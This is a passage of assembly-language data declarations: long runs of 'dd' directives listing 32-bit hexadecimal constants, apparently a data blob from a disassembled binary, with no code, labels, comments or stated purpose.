3A502304h, 6EC5A1F7h, 37A0304Fh, 282C5ECDh dd 9C1E037Fh, 0F0D8BF4Eh, 7BA66351h, 0CF4B00B6h, 6A1AF5EBh dd 0CBE2F240h, 0BCEAA100h, 3E46980Eh, 0BE70387Fh, 6DC51486h dd 0C10061DAh, 0A698A26Eh, 19FD5931h, 881C9BDh, 0D218350h dd 0E02498AAh, 28064287h, 30849044h, 28B9FC96h, 0AF008298h dd 379E2272h, 0FF96A62h, 0C111FAACh, 423AC920h, 1314599Ah dd 10A0897Bh, 1D7C49F8h, 1F3BAC61h, 4D5E0FA6h, 0E6F8DC94h dd 7B9008Ch, 0B586A298h, 28096782h, 20F19054h, 0B3569550h dd 12E100ABh, 0DA299A02h, 167FDB75h, 65F0E500h, 5B58F2BBh dd 5C32195Ah, 0FC219843h, 4B0CBFD6h, 70BD1D41h, 79F660A0h dd 0D6ABD537h, 883FD00Eh, 65392FCBh, 90309298h, 0C95150h dd 3010D374h, 2DEF3E23h, 6FA65A0Fh, 558DA25Ch, 593060A1h dd 0FB61C8C1h, 79811480h, 30CE1F41h, 0BF906FCDh, 56EEF4A0h dd 0E8F8D9D4h, 4F188CF1h, 7A7127DDh, 1910099h, 1DB046B9h dd 1F3CFE1Ch, 0CFD980E4h, 0BB39EB0Eh, 4C5C50F4h, 8EC4137Ah dd 0A77409C1h, 0FC885982h, 3E20F040h, 4E1D3176h, 5392C318h dd 7A84245Eh, 0C81E906h, 402464A1h, 36E41A78h, 0BC0048DCh dd 739ABFFFh, 0BE49C103h, 0F5EDA1Ah, 10C62841h, 25E0E56Eh dd 789657CEh, 0E653Dh, 77FCD664h, 0ACC7312h, 4C1EA88Fh dd 0EC46748Ch, 90CA3100h, 8A62304Fh, 0C3B0C061h, 8985B57Bh dd 41DB794Bh, 686E5F9Ch, 0BBF880F8h, 9066F735h, 39090E0h dd 3DC305CDh, 382EBF52h, 8902D837h, 40D78220h, 0D2F17A28h dd 19880849h, 0A68FAAC0h, 22B54642h, 0AF190F2Bh, 9160AC8Fh dd 0A6567876h, 50806C4Ch, 3A16FB10h, 0BD021B86h, 0A1BE973Dh dd 0EC566AC0h, 61C80205h, 24413969h, 8CAF0C70h, 7FD6F04h dd 7F386D76h, 66FD6712h, 0D4EA9841h, 1024F5A1h, 74E80ED1h dd 0EC6042D0h, 788304F3h, 60415E24h, 3E40AC64h, 52AF0C94h dd 28883148h, 8E4CB04Dh, 517E3208h, 0ACF5C378h, 58D61480h dd 0C49CA7C2h, 0B94D60D0h, 1B723691h, 7B7E6188h, 0F163361Dh dd 0CD529600h, 0D5444Fh, 3B916155h, 40A69B78h, 0C5FB3400h dd 9638C2D9h, 4AE22C46h, 593CABC4h, 0A0FB18F1h, 6BE38A4h dd 9031B3D2h, 70E21F4h, 20569B64h, 0B921F6DFh, 0D5F304E9h dd 888F7E10h, 0C540AE34h, 167A1451h, 580AF4FCh, 3DA49689h dd 0FBEC49A0h, 4CEE2D7Ch, 3EC4500Dh, 0C30392Eh, 0A6048C69h dd 0B931AA98h, 9205A62h, 5298AEh, 7402E5A8h, 688D6E27h dd 0BE7DC870h, 40AD6224h, 4C4C4315h, 499961DAh, 2095B042h dd 672340C7h, 4498A80Eh, 5D62A931h, 98B00F20h, 804B4893h dd 265E0610h, 4408A85Bh, 0C21208BEh, 0D8764102h, 0CECC41F5h dd 0C9593020h, 24190220h, 72A41813h, 4542108Fh, 97D1C86Dh dd 40581E1Bh, 3AA4AEAAh, 0CC127A98h, 500FE646h, 68366578h dd 0C04D4801h, 0C4416DC4h, 38084EF1h, 833CA15Ch, 8976F20Fh dd 389562DAh, 0C100D809h, 33129EE7h, 0C860D646h, 65073A81h dd 0C2712E41h, 63AF6444h, 776E8004h, 0EA448C1Dh, 1C707Fh dd 0C29C4518h, 72502A7Bh, 41C7E49h, 0B5A078A8h, 75BB7C80h dd 79D8B93Fh, 0EFF8192Eh, 0A203000Bh, 23637D5h, 60C0E03Dh dd 0B52C0645h, 35BE03BCh, 0A3ABF072h, 1DE070E0h, 0BD0C5B02h dd 802AF6CDh, 28498A8h, 0C9BF0090h, 573D9EFCh, 0B6074D3Ch dd 0A35CC0Eh, 0C40AD26h, 0AB017645h, 34725758h, 0D04DDA00h dd 7820A97Ch, 91F47B81h, 0BA4500CCh, 2E32C90Dh, 0A38F84Ch dd 0A849405Dh, 0E7467Ch dd 0FCD984D5h, 2A26284Fh, 1D8829D6h, 4CA85136h, 96CACE35h dd 7ABB093Eh, 1BB3B800h, 7FFC76FBh, 4C200105h, 4F108577h dd 0B3B8480Dh, 0E8DCDB5Ch, 0C0008C46h, 0DBF08011h, 0C3DA7C4Bh dd 0B6D98D51h, 89DD290Fh, 0FEEF40EBh, 901977E5h, 75C1D0Ah dd 0CC09BCA4h, 6C25C46Ah, 0AE8C0899h, 110101C7h, 34237577h dd 198287h, 32F77835h, 811BD728h, 4E36124h, 0B04ED804h dd 0E62078B7h, 70053709h, 82E442C0h, 0D52AB0h, 0FFA25672h dd 0C4DD2101h, 3D11A89Fh, 0E988BC2Dh, 0E1207114h, 0A218FEBFh dd 0E635377Ch, 0B0C898F6h, 0FB570095h, 0BF12D9A9h, 653F8F22h dd 3A3B80A0h, 0E0DB53C6h, 10A4B025h, 2D8F7C3h, 306E42A5h dd 2E3860EDh, 0F43A0C9Eh, 3E21FBCEh, 0C2378800h, 897519A7h dd 6E76138Eh, 0CC18234Ah, 60299BF1h, 0A00ACA3h, 2530EB3h dd 1D4D05B9h, 1244F19h, 96D99549h, 4EE45079h, 80E8229Ah dd 0F8616C98h, 6A5A67C8h, 940ECC8h, 0EB790ABAh, 283EC020h dd 5CBABE47h, 70204178h, 2CF0AECh, 0A6D0E579h, 0E611D4h dd 12FF5E72h, 9B1DDDCh, 0AC4D7A35h, 8168BC04h, 642CB624h dd 64846BD0h, 259D28BEh, 6B11D080h, 0B54D03D9h, 0EE546EB4h dd 64B27872h, 1C0C6045h, 197C60DAh, 3E46B50Eh, 0F490F77Eh dd 0FD981E64h, 0E26ABB20h, 57C09567h, 8521B5C6h, 8836475Ch dd 95756D00h, 3EB06CAEh, 0F9247810h, 0BFA109CFh, 4503E468h dd 24C1F42Ch, 0BBC48E07h, 363AC720h, 60DAF642h, 2F7FB154h dd 0CE00EC5Eh, 0B978C8D7h, 0D7569B3h, 0F770B08Fh, 0FDEC4D51h dd 20953120h, 7C1EC310h, 3B9C4BDh, 0A980C007h, 150CF03h dd 0C0837A4Ah, 1B025F79h, 0F1E414A7h, 0A0DCFF28h, 408A46F4h dd 80ADA28Ch, 0C8138AE6h, 0AC6DC69Bh, 48EF0C61h, 0BB10B079h dd 0A64384A9h, 0D9AC8274h, 0C600F4C4h, 5DFAF95Eh, 147AD406h dd 0B0296EC4h, 423BA400h, 3F046D81h, 24648214h, 0BC234EB8h dd 8E2FD02Dh, 0EBB900ECh, 8892EF26h, 251DBDB7h, 20DF5C1Ch dd 104F8084h, 347874D0h, 50C04DBAh, 11B4D424h, 0C41500BFh dd 6E5E8E42h, 77561E32h, 9CBE00A0h, 0DD439410h, 0E700D099h dd 1A3005FCh, 45580072h, 2124735h, 6401C7C0h, 5611F533h dd 0F8C35AA3h, 71B696AFh, 7ACD3DCEh, 0C610DC58h, 0AA42004Eh dd 0B6E02E3Ch, 670AF48Eh, 8821941h, 3D0DC096h, 0D074195Dh dd 4410B84Eh, 0CC1278F0h, 4C48F9F6h, 0DA0880E1h, 168C4D75h dd 0A134EF17h, 3ED22820h, 93AA003Bh, 4A692E20h, 0E30F2696h dd 0A5835510h, 0E84015DAh, 2797AAD1h, 6CE900A1h, 4289D9B8h dd 2E004BDFh, 12AF50B6h, 55A517h, 479A3268h, 5F7C49EEh dd 81521F01h, 17AF7ADFh, 0BF3901D3h, 24EA0B06h, 0A531C007h dd 0AD1818D3h, 32DF821h, 73A41A54h, 0E6908D70h, 9D17B0DCh dd 0C800D47Bh, 25791119h, 3B1F71B9h, 1A865EB5h, 70774A87h dd 0F366021Dh, 1C7BD703h, 7548B5Fh, 0FFEB0E19h, 0AF1A30D3h dd 56887886h, 0B8E30BC7h, 638E484Ah, 8B3C4060h, 7600932Fh dd 710EDC10h, 362A8A7h, 43CBB315h, 0F81FB4D2h, 0F400CD5Bh dd 62598A42h, 0FD6E01C5h, 0DDB9E9E0h, 9001D2EEh, 0E0BE8CB7h dd 182C101Fh, 0FFE5067h, 58FC9600h, 12B9DAE4h, 0BAB200EAh dd 0E018F67Fh, 1031B44h, 39FA932Dh, 870830D5h, 44C97921h dd 0A58B6503h, 1B6EBE4h, 16CE5B19h, 0D41C401Dh, 5588B9E8h dd 5FA3009Dh, 0F4AF90Ah, 91E5EEA1h, 0FB801179h, 0E5011C44h dd 7295448Ch, 5D44E400h, 0F0AD61D2h, 0D1F40003h, 931EA391h dd 0F2903E01h, 0BED96718h, 0D0D71460h, 8DB83438h, 438E0F8Ch dd 0F7E06C3Ah, 535D0315h, 0B820A061h, 0DEC0D5BAh, 0E198074Bh dd 50E25EECh, 137F8CBCh, 29965C30h, 1251A9Ah, 5AFC1151h dd 98F339BDh, 0F921BE08h, 0B2250012h, 1FF11B4h, 4000585Fh dd 433B1031h, 6B334BAh, 0CCA40CE1h, 1C466185h, 4A250D02h dd 131CE411h, 1F2505E0h, 5E064060h, 0DB7B61A7h, 80783E90h dd 281F371Fh, 49E03380h, 619B143Ah, 6D22E8B7h, 46CFF90Eh dd 0CAE0883Ch, 406B80h, 0E23EA7ADh, 0BAEF23D2h, 0E74BC80Eh dd 129A63D6h, 844887Dh, 13CCF51Bh, 0CCB002h, 0F3898406h dd 5FD55E6Eh, 0F8D470Eh, 597E80CCh, 0AA923Ch, 0E1C09F96h dd 0DC4E61C5h, 0E607E200h, 0BF164BA2h, 83960356h, 7378E45Dh dd 0E0BCAB98h, 0CF0F38h, 0AA1B9350h, 1AC915h, 5D98F7DFh dd 5A743D14h, 4207F47Ch, 93973AE2h, 10A8E180h, 24D10186h dd 0F1A248D8h, 0F38C31C1h, 0E9E868D0h, 9A46060Ch, 0A38ACDh dd 0E4B4D5EDh, 0C1EAC3D7h, 4BFFF29h, 0C30601FFh, 0BFE71321h dd 341B1811h, 0E68920h, 0D2C6FDB3h, 24DD574Dh, 0E4FBD70Fh dd 3DFFE0DBh, 1945B82Ah, 29C0DE89h, 20CA08A1h, 0E9422083h dd 11B10411h, 5E215A95h, 882F3508h, 0A9908CC9h, 214BE982h dd 35216104h, 207D1229h, 0A36A20Dh, 0E9AB4E0Eh, 1AEFA052h dd 4AB465h, 87912444h, 28F0E7F2h, 1D374B00h, 0C274307Ah dd 8B140035h, 0C779C0F7h, 0EF077E88h, 0F9E640B5h, 38E81F01h dd 558FFCh, 0D923E090h, 7B43756Eh, 5C0E6C90h, 0E0CECDD2h dd 6397AB04h, 96C403D7h, 6BC6508Ah, 0F98B2801h, 0B60316B1h dd 50F5170h, 85FB005h, 0DF0800BCh, 0CED76846h, 75D4B500h dd 30AB802Dh, 10391D16h, 5D548318h, 29BB2FE1h, 6A74BEA8h dd 321DD400h, 8A89913Dh, 0E12A0043h, 0DE78CC6Bh, 87019574h dd 3B440241h, 0F3C0A359h, 0AE0605D5h, 4F09A89Fh, 990E52FCh dd 4F4C60A0h, 0CCE81549h, 19D62903h, 0BB62CD55h, 0E6600088h dd 0BB7CDEDBh, 693F5722h, 28A0249Ch, 90B315h, 27D2B97Bh dd 7B7EABDDh, 95060024h, 3DA75CC6h, 6A347D11h, 0C0AAE873h dd 0A2CAD21Bh, 540A4D7Ah, 988C86F7h, 7E09BF00h, 20F98Dh dd 0A194E318h, 0DF5F487Fh, 916E5B0Dh, 0C1D2FEE7h, 60CC4146h dd 0ECD073Fh, 0A3BDAD4Dh, 73F006EDh, 0C6004EE7h, 96336D5Fh dd 350AACCh, 0A5CA117Ch, 1884369h, 520058F2h, 5F2B3526h dd 679722h, 0F8CCDFDh, 3669DF16h, 0AC173801h, 0FA297293h dd 144A870h, 4A925D95h, 20328870h, 4E49C99Ch, 0CA8C0F28h dd 0ECCDA7BDh, 34E5BC50h, 1F980291h, 9FA05007h, 8154958Ah dd 0B21605F0h, 81001528h, 0A612F5ECh, 20FB0055h, 6CDAD0A1h dd 8100B932h, 0A2D573F6h, 1EC0B284h, 4FA54F27h, 24C01056h dd 0A35492F2h, 1C621424h, 0F3235500h, 71EDE3h, 0FCE55FECh dd 43CC208Fh, 0DC800900h, 794D88A4h, 1BEA3BC0h, 220E8A01h dd 34781174h, 2E056818h, 95E61925h, 679EF460h, 15BF00C0h dd 47264F8h, 0AC00EFA8h, 7DB6EE52h, 0CA2ECFh, 848109E2h dd 3C54D32Dh, 0F603F775h, 1D1A839Fh, 73D5A0BCh, 0CFF869h dd 8FAC64Fh, 386C8DFBh, 18F0F103h, 0D181F84Dh, 5CE8B062h dd 45F0728h, 0C0F20216h, 0CAD943C2h, 0F7612907h, 91E0DB8Ah dd 3DBCE5CBh, 0EF005DC6h, 2B3D856Fh, 0FB007CAAh, 72B029BBh dd 1179654h, 0A74D1F64h, 0FC5056EEh, 0F01D5DBAh, 8826A2A8h dd 8E69F580h, 80C029h, 0FA4CF1D6h, 324BAEB9h, 91000698h dd 44332473h, 1D0E6734h, 0C013F665h, 2C9F7EA1h, 9DF64840h dd 0D3109B0Eh, 0ECD92ABEh, 80F0F484h, 0FF3F2D80h, 9898A074h dd 53840082h, 95B9BC14h, 913BFD63h, 3000F99Dh, 0D3C5F62Eh dd 0FB40CEh, 77A1CA35h, 8A1E31E2h, 0F8040600h, 51AEEE54h dd 0EC9C005Ah, 0B565C601h dd 0B80055D7h, 73CDA143h, 226202Fh, 192BB1BFh, 0FC404FC3h dd 74269EF9h, 9A892802h, 7C49005Dh, 34FACCAh, 1AE49DB7h dd 20009084h, 0C23B926Eh, 36AF20h, 1F3CBCF4h, 72CA9DE6h dd 0C6DB7D04h, 7C801C2Fh, 12245C7Ah, 4FFBB07h, 0D0F9533Ch dd 0EA8A340h, 0B62E6F00h, 2DA25D16h, 3D16B821h, 304C14E1h dd 0BFE2CC01h, 0DC9DCDCFh, 1F07D562h, 0FF07762Ah, 0F01811E0h dd 0BBB40EA1h, 25A72190h, 3831F0E4h, 0B000D81Fh, 62224379h dd 183FD55Fh, 28EFA015h, 0F100A977h, 507DC5A4h, 6F3932h dd 761B5417h, 0EEF3E8AEh, 0AC181900h, 0FD0644A8h, 7D651E9Eh dd 0A2124033h, 16E53FA4h, 7975A000h, 0FF12E13h, 8E6C32AFh dd 0D0403909h, 9100D3BAh, 8AE19CFAh, 0E87CE0h, 0DB3E850Bh dd 0B37E4C59h, 649248h, 87F1441Ah, 180F37h, 9FC55B11h dd 0B0CDA4C2h, 82B7A006h, 0FA404107h, 1A1B007Fh, 4BDDF80Fh dd 76009F49h, 168A432Fh, 0EC082E38h, 4EF60777h, 10ADF05Bh dd 0B280E270h, 81AA503Fh, 6AF1D512h, 1CD889CCh, 0EE9A019Fh dd 0FF30529Dh, 0D42BE4BEh, 4A61DB03h, 0F9C38892h, 32D8B415h dd 0C9371E29h, 90469850h, 7972FC12h, 0AAD7C00h, 47741188h dd 1CEF0010h, 890C84A4h, 0D100FBF7h, 394CC164h, 345601D5h dd 8022B8AEh, 43621DB5h, 9E6D639h, 3F2D041h, 0A82CC36Ch dd 0B255B9h, 0E4FA6405h, 0E0FE51BBh, 38985C31h, 40CA0922h dd 3DC3CE28h, 0CB30BCAAh, 1085C488h, 48BA9A0Ch, 0DDD0D4h dd 5DAED75Fh, 1F33826Eh, 96766000h, 5E672A68h, 0FC364840h dd 5366311Eh, 7192005Dh, 95C5B8E5h, 3DE7B200h, 78CD791Ah dd 683700D0h, 61115338h, 1DFEDFFAh, 604B9E00h, 0A4AA4C5Ch dd 9147BF7h, 0E1D66E0Ah, 0C3F8FC00h, 0B4003274h, 0B12B3182h dd 1EC0DA37h, 35A71A4Ch, 12A580C8h, 1F000F6Dh, 624A355Ah dd 3D9AE2h, 0B3FA2AEAh, 8F306C2Bh, 0BC2F8738h, 9E6B0FF3h dd 94A600FFh, 0DF518Ah, 0AC61CC56h, 0D50ADD34h, 13DCED48h dd 14300588h, 267C5259h, 4008C2h, 4BF2CCD3h, 8501DEB9h dd 0EBE42AD4h, 40F00FBEh, 0ED8A0978h, 188F5314h, 3C7BE660h dd 6724D9D1h, 0E013102Fh, 18E6045Fh, 0DA25A900h, 0B8D50Dh dd 14911162h, 5DF77D2h, 1C431807h, 0EFF054F0h, 0AD3FEh dd 97E65B0Dh, 65FA5AA4h, 5028CF00h, 1B116B14h, 2220099h dd 9362BA4Eh, 0E00B68Fh, 74FCB9EFh, 2D95DE3h, 825709D0h dd 30601FF3h, 85006DA1h, 32C8349Dh, 2FB6BBEh, 36F8710Eh dd 9EC12FB8h, 0C48BC8F3h, 5102BC01h, 0F51FA385h, 17E8D4h dd 532D1CFAh, 3938DA88h, 0F322401Ch, 94F41F01h, 8864B2A2h dd 0D9EC1C03h, 0A6340024h, 6C7F2E9Bh, 817D9801h, 0FDAC82D1h dd 67F5D4h, 0A2160D9Ah, 91760FFFh, 6450E600h, 23E5D362h dd 869800AFh, 693B3120h, 0D470FBEDh, 9A61F403h, 0A8161868h dd 170A4Fh, 828E0D95h, 3D3A675Dh, 0A6408B00h, 99D015B2h dd 9DEC1F43h, 42484062h, 73DAFEAAh, 1C240A0Fh, 99978027h dd 1AC705Ch, 2B5DA553h, 0DC695449h, 5F00C4CBh, 8B1D67B2h dd 48174814h, 0F30C1CB1h, 3221D4E8h, 0C20084ECh, 70F603DBh dd 0A81A29h, 0EBD0C56Fh, 0E926C6DEh, 2B006490h, 66B13DF9h dd 0FD7A5EC3h, 5D8DC8h, 0EED04E21h, 0A3148C57h, 0C403BE70h dd 0FFDF6833h, 9BCBF1h, 0B34AEE2Ah, 487430E9h, 0EA1CE50Ch dd 160290D1h, 60F7F833h, 15BB4478h, 0A9CEAF00h, 0C607E263h dd 2E030054h, 93A56E76h, 1300BDC3h, 0ED6527CAh, 39A3E9DEh dd 90006178h, 23876A32h, 0A900C826h, 3A377DDCh, 3818F0Fh dd 0E232085Eh, 0D800C662h, 0E699AE7Ch, 936D36h, 5F60D37Fh dd 81C98B34h, 4C2BA500h, 9701E375h, 0B8F40Ch, 0F32162BFh dd 997CB120h, 4E53CF00h, 0C240D998h, 0A8200EFh, 0C7AFE449h dd 2C00F16Eh, 0BBBC4E1Dh, 3CBFBE1h, 513F6856h, 0EEE57F8Fh dd 63F16100h, 0BDD6FB2h, 0A4F89324h, 0BC4D9800h, 0EE00F579h dd 0DCBBD7C4h, 1CA5DCBh, 3AF3E239h, 209945B7h, 0AD0F9B44h dd 0E2E5DA53h, 606269E3h, 24437097h, 93D78A7Bh, 0C70C1D75h dd 0F76B2023h, 0C09085DFh, 0E77A79EBh, 0ADC61700h, 4B13D7D6h dd 2479B002h, 9C009FDAh, 189ECEEAh, 0FCC807F2h, 0ADD47093h dd 0D9003C6Fh, 0DA036789h, 1FD80914h, 0C2BDAF51h, 553E0635h dd 74006050h, 0C9B4C893h, 1B5D27h, 108A0A4Ch, 0FF4A5FC7h dd 0B991D004h, 0CC80F743h, 189FD977h, 10F4C466h, 0FB1EC2D6h dd 9FB9CDA3h, 63867FB8h, 3400B79h, 9BE44375h, 0E5C01F9Eh dd 6101CDE0h, 2E3F7C5h, 0AC34A516h, 42EE81h, 0FA0C5551h dd 7F74759Fh, 0F3A13E1Fh, 79E7ACC0h, 0D2DFA5h, 0B0DA97C1h dd 4405BBE8h, 9FAD600h, 5893F819h, 2E7926h, 793AFC8Bh dd 5B43516Eh, 57B8E107h, 0BD5014D1h, 2354C7h, 0F8D3E3Ch dd 39FC7A99h, 5CA75100h, 94E54FB2h, 0BBE30062h, 14237987h dd 0D5008290h, 0F9C67454h, 0A9B793h, 7B1B9BB0h, 0C78D3CCCh dd 0D97D400h, 56E0A0AEh, 4D90F4h, 8742EDD7h, 0BA9C3CD2h dd 0E460709Ah, 0A4AFF4B0h, 323F0CACh, 8049B823h, 484AA906h dd 10C99Bh, 768C9990h, 0D388CDA7h, 75C33A0Fh, 0B1E102ECh dd 0B694809Eh, 3F437A8Ah, 718FF5AEh, 4447C148h, 20A740A5h dd 0D000E554h, 0F78B382Fh, 36DE18h, 415FB4CCh, 0B6E9CFFh dd 0C99F481Eh, 112C29Dh, 6178480Eh, 0C5EADC20h, 0D23420h dd 4CE5B933h, 6C705E97h, 32993400h, 277BC9A0h, 69A30125h dd 0A9A633F9h, 909AF8F6h, 1200FA76h, 68445EB1h, 0BC6DEDh dd 57E513B3h, 0FB58149Ch, 0B40F4Ch, 37B56FC0h, 7160E11h dd 69031502h, 0CE0CF068h, 400ECB0h, 0E25BFCAFh, 0C3126CAAh dd 91A6F28h, 18E83E90h, 0A388CB00h, 0FE2913F6h, 635D0084h dd 7F676112h, 0A77AD911h, 0CB0D1E00h, 426A87D3h, 0FC7B0744h dd 5F0C7EA6h, 251DCA60h, 0DB008FF3h, 86B9FA49h, 776A4Fh dd 0AE3096Dh, 1A31550h, 36FF78C0h, 3E5ADF54h, 76807B46h dd 0E341459Eh, 0FCB04D97h, 0D38018DDh, 0B27E9A1Eh, 0C4BF00D2h dd 0A86B9424h, 75E2C506h, 0A10060ECh, 0E6DF454Fh, 384B6B5h dd 3B7F92Dh, 13E0C363h, 0ABF4FB19h, 3F643600h, 23B3C553h dd 843D50A7h, 32890318h, 9EE23A0Ch, 0C234DDE8h, 7B421700h dd 0BBCA96C7h, 0D06439E3h, 0DFF7188Eh, 0FA4BB2AFh, 27D940A3h dd 2B393DD8h, 0F807DC00h, 3E9F65A3h, 0D088076Fh, 9B61166h dd 0F3623880h, 70BBC98h, 0A082A019h, 50F136Ch, 752D3A29h dd 72417A82h, 1FE24C62h, 0DC2F1440h, 0B8E21E00h, 208EF238h dd 0D0A3021Ch, 0C7330D67h, 64BADCE0h, 0AA1E1200h, 0E444A10h dd 1A8B4E8h, 69BEACCAh, 67D08043h, 1CAE4AF9h, 0C08B817h dd 6E10DB8h, 8B07B7F1h, 0E8F1510h, 54611CC0h, 0C04302D2h dd 33CA2D24h, 9EFC9C68h, 0B73244h, 672BAD40h, 0ECCD7C42h dd 11AFBF00h, 0B366F524h, 0FCC70E05h, 0FD403F48h, 192BB006h dd 0D4615B2Eh, 1B9E0900h, 90EF59h, 0EE9AD478h, 5554FE0Ch dd 0D8A8922Eh, 0D9B31600h, 0CD3BD8Ch, 215F10D7h, 0CE282489h dd 181FA896h, 2BA614Eh, 5D9ECDFBh, 22C7825h, 0EA1AD2EFh dd 0CE034694h, 0BFB8384Ch, 27B42682h, 88D014FEh, 0FBE83909h dd 61F81031h, 4E710F7Fh, 55E0D5BDh, 3BD2E0C6h, 666FB900h dd 6A5982B8h, 7EF33F8Ch, 0F8649F00h, 160FC839h, 502EFB00h dd 4A0CC9D8h, 0E01D0E79h dd 40A08609h, 417F9D99h, 495CC000h, 1F370517h, 3ACB8FFh dd 5A2A35B9h, 1900C163h, 8FF91557h, 0C51D6Ch, 0F0609C93h dd 338BD862h, 64051E00h, 403D89C6h, 91543B4Fh, 1B392Ch dd 11493E45h, 5000F44Ch, 583FA7A0h, 3184AFh, 410CFCC4h dd 0B17EF5F3h, 17B7E400h, 4E59C1EDh, 0F8251FA3h, 0E6190182h dd 2090C5C3h, 4DB0F428h, 79006976h, 1429017Dh, 9163E03h dd 57F8542Ch, 6DA62201h, 26A0722Bh, 0F700C09Ch, 1161DBD0h dd 9F1E0006h, 0BF7FCB62h, 78B0931Dh, 4E65140Ch, 73780Fh dd 0C1A3928Eh, 0B82ACE9Ch, 0B992800h, 4E31333h, 25D89851h dd 1C0FDF61h, 0BE2640FCh, 0F2DD40EDh, 4C009B76h, 0AF1488E3h dd 1FA23CB6h, 0C0FAC842h, 0F879DA52h, 8267A83h, 352C6471h dd 85362200h, 0FE41664Dh, 0F93339AAh, 0DC2FD8Eh, 2108A5A0h dd 760087A1h, 0F2E8D727h, 3DB932h, 0BC5FA41Fh, 7AFD3198h dd 19151730h, 7B7F1BAh, 8E16226Fh, 8DFC4054h, 0AE075E87h dd 48590FA6h, 0EBCF8339h, 0FE88006Bh, 5B260DEDh, 12011798h dd 36770BBAh, 0DBF17227h, 0B4C067ECh, 0AB1600FCh, 0FBF6D35Dh dd 5458F00h, 1F33FC4Bh, 0B90800A0h, 4D5F2780h, 0A400601Ch dd 0C1C620BFh, 49D01Ah, 3C42E244h, 88A597EEh, 0BD249D02h dd 0F09FD8CDh, 2C2A04C4h, 0B0D6B3F5h, 0C406F91Ch, 1B320F69h dd 0A4CB0110h, 716857CEh, 0CCE8F258h, 6C01D193h, 69DD9C90h dd 0AC24252Eh, 0C1100084h, 0CE239689h, 8E009ED8h, 1497BBF7h dd 0E904395h, 0A20CCA35h, 128F7B21h, 0E48840F4h, 700F187Fh dd 62DD7C8Ah, 0C0E5B8E6h, 914E394h, 0CD3AD5Eh, 44F46082h dd 0F97810h, 4C5027FBh, 51D7C054h, 8C44F000h, 0CA7E08B0h dd 6F95303Fh, 269F8248h, 0CBE7D60Bh, 0B474402Bh, 0EAB72C6Eh dd 3D440024h, 21DB8157h, 77C83800h, 4C751DD8h, 7DE41810h dd 7DDE141h, 0BBAB9203h, 0B1AA6493h, 9C3045D9h, 39DE0001h dd 0C2657C70h, 0DA48FB43h, 0A862053Bh, 5882B453h, 3E4781Ah dd 1F28CC2Fh, 33B18675h, 0F8CF897h, 6978A401h, 0B41B55C3h dd 7BF9920h, 9E8409A3h, 67B2919Ah, 5224C48Ah, 0EDEA7C00h dd 76695711h, 0E8A55196h, 3DBFE4E4h, 388F40F3h, 0ABE0742Ch dd 588CE85Ch, 1B4BD4Ch, 0EF7C5918h, 7100DD43h, 25064AD5h dd 0A0497587h, 0F22E0749h, 0A7C9A68Ch, 0E602C019h, 84A074FDh dd 0BD002522h, 0D3A829C2h, 359121Ch, 3B8CDF4Ch, 11A06066h dd 0CA3DCEF9h, 0A7229714h, 4D88B402h, 9D1E4045h, 0C48B0166h dd 3C99EB3Bh, 0E585C8D6h, 1D557112h, 12283C00h, 2CE207h dd 47D741B6h, 18A0F6FFh, 110060B0h, 5DAC8530h, 182CC24h dd 6667553Bh, 6048FDE3h, 601B338h, 1C7683A2h, 0D420512Ah dd 1BD900CDh, 8D59B2C2h, 0A8007553h, 0C05671F2h, 48683A76h dd 5A000F44h, 6BF17FA7h, 0DB0077CCh, 84788314h, 0B88D2723h dd 2A258B1h, 0E9633B0Fh, 2C864020h, 0AC0004F0h, 483C39F3h dd 9EE7F2D6h, 0EB917700h, 92F55880h, 0E200BC7Fh, 9E93F65Dh dd 965A6B09h, 8712059Ch, 5C64F0D6h, 0C6026E00h, 0D026D961h dd 4EB8089Ah, 0F00073C5h, 3629767Eh, 47120006h, 8A898338h dd 0D700E430h, 3CF58625h, 0C18D41D2h, 440B818h, 0B83C62h dd 51AD44F6h, 7E599679h, 75100009h, 5FE0AEABh, 0DC0067A8h dd 0C909BA7h, 0B27B3380h, 268303D0h, 0EE5DFD21h, 9CEAC209h dd 27F89011h, 8CCB00FBh, 160D8F05h, 0A3008ABFh, 3FCCAFE2h dd 3BC426B0h, 4C012279h, 34DCFF5Bh, 56D180D3h, 0D80FE031h dd 368407B1h, 66746A60h, 2700B0A6h, 35DC0664h, 28DE2395h dd 7E98A26Eh, 0A84F263h, 8F4EF161h, 0D34605B0h, 0BCB80EE2h dd 0D0190A04h, 126D20A0h, 0CF1D1500h, 0A1958259h, 0C20A0062h dd 465A058h, 9F16A7F3h, 989046D0h, 2CB011F5h, 3CFC43h dd 3AFA314Dh, 520B1F8Ah, 0E49944h, 0EA0CA094h, 19250011h dd 0D3E255CDh, 1E267CE5h, 0CE80601Ch, 3BAD1D37h, 9E26E6ECh dd 4740CF44h, 2D293A5Eh, 7A10B114h, 0AE5888h, 0E5F3AD2Bh dd 0A4A3F8h, 77C9F022h, 0BDCB2E39h, 40F19B25h, 84C7EF48h dd 0B860193Ch, 0EC860088h, 912919Ch, 2C6D007Eh, 850FA0FEh dd 25016E3Ch, 1710D013h, 65E00C6Fh, 0EFA022Ah, 0F47AB5E0h dd 85135444h, 64C0D663h, 542891h, 0DDF9CA2h, 2E25051h dd 95F78500h, 414A62F6h, 764E4E5h, 320C158Eh, 3E0800FCh dd 550A2985h, 0DCD3CF9Ah, 0FD452002h, 28B48081h, 1F1CD2D0h dd 0C2F3A6D7h, 3B2367D9h, 0AA80DCA0h, 0C03681Eh, 0B9E8A64Bh dd 8104BA31h, 1EA9BA10h, 79D5024h, 9FD99B32h, 41F047DAh dd 407FBA03h, 3BCA6910h, 3E006C4Eh, 0D525E636h, 391B0079h dd 8692D76Eh, 6607F6FAh, 0B9A4B2C6h, 0F34F0180h, 0E03300BEh dd 8CAFB17h, 0BA2825E3h, 56EC2CACh, 2F71942Eh, 55A07E00h dd 3E3685h, 0DD08E9A9h, 74B8C16Ch, 0B9D7BE02h, 0A407680Eh dd 0EC00AE70h, 0EBC4A671h, 563CB2E8h, 0ECFFC07Ch, 280300CFh dd 93FC9694h, 8C3F1C6Dh, 1AE98020h, 4F1D5F24h, 0DAA100D4h dd 0E6E530BCh, 0DD0017AAh, 94F783B5h, 51140Bh, 1A05D18Ah dd 0BEA0A2F9h, 0F8A18E00h, 6FCDB5F3h, 0FFE61278h, 0E18CC0B1h dd 340323A0h, 0D5EC4537h, 7B1B647h, 27F46CE8h, 5A8F7F25h dd 80CA54Ah, 964417D4h, 833A031h, 0F824A802h, 0E52843Eh dd 97530C88h, 14E7183Ch, 84EBBBD4h, 8EB8A58Ah, 31716A1h dd 38666C33h, 8C08213Ch, 5077BB59h, 0BAA440F7h, 1CA05271h dd 90073450h, 73C76C62h, 